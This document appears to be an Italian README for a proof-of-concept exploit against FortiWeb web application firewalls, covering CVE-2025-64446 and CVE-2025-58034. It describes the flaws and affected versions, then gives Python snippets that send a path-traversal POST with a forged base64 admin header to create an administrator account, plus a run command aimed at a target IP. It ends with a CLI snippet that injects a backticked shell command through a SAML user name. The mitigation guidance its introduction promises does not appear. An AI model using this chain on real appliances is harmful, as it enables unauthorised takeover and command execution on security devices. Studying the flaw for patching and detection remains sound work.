
Exploit PoC per FortiWeb CVE-2025-64446 (bypass dell'autenticazione tramite path traversal) e CVE-2025-58034 (iniezione di comandi del sistema operativo) con analisi dettagliata e guida alla mitigazione.
FortiWeb è un dispositivo Web Application Firewall (WAF) utilizzato per proteggere le applicazioni web.
Nel 2025 sono state scoperte due vulnerabilità critiche:
| Campo | Contenuto |
|---|---|
| Tipo di vulnerabilità | Relative Path Traversal Authentication Bypass |
| Causa | FortiWeb gestisce i percorsi in modo non rigoroso prima dell'autenticazione: - Controllo degli accessi basato su stringhe di percorso logiche - Non normalizza completamente il percorso - Consente l'uso di ../ per accedere a risorse interne |
| Descrizione | Alcuni endpoint amministrativi possono essere accessibili senza autenticazione valida |
| Impatto | - Bypass completo dell'autenticazione - Accesso non autorizzato alle funzioni di amministrazione - Rottura del modello di autorizzazione |
| Versioni interessate | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
Esempio:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
| Campo | Contenuto |
|---|---|
| Tipo di vulnerabilità | OS Command Injection (CWE-78) |
| Causa | FortiWeb gestisce l'input in modo non sicuro durante l'esecuzione di comandi di sistema: - Nessuna convalida dell'input - Mancata escape dei caratteri speciali - Passaggio diretto dei dati utente al comando di sistema |
| Descrizione | La vulnerabilità richiede autenticazione ma consente l'iniezione di comandi di sistema |
| Impatto | - Esecuzione di comandi indesiderati - Accesso alle risorse di sistema - Compromissione dell'integrità e della disponibilità |
| Versioni interessate | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Questo aiuta a evitare conflitti di versione delle librerie, garantire la stabilità dell'ambiente di lavoro e limitare l'impatto sul sistema.
Payload
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Esegui lo strumento con Python3:
python3 exploit.py <IP_target>
<IP_target>: L'indirizzo IP qui è il nome host del dispositivo FortiWeb.
Ottenuti username e password -> procedere al login
Sfruttamento riuscito e creazione di un nuovo account con privilegi di amministratore.
Dopo aver effettuato l'accesso con il nuovo account amministratore, un utente malintenzionato può sfruttare la vulnerabilità di iniezione di comandi autenticati tramite richieste appositamente create o direttamente tramite l'interfaccia a riga di comando di FortiWeb CLI:
config user saml-user
edit "`id`" ## inserire il comando qui
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb uscirà dalla stringa di configurazione ed eseguirà il comando id durante la configurazione di saml-user.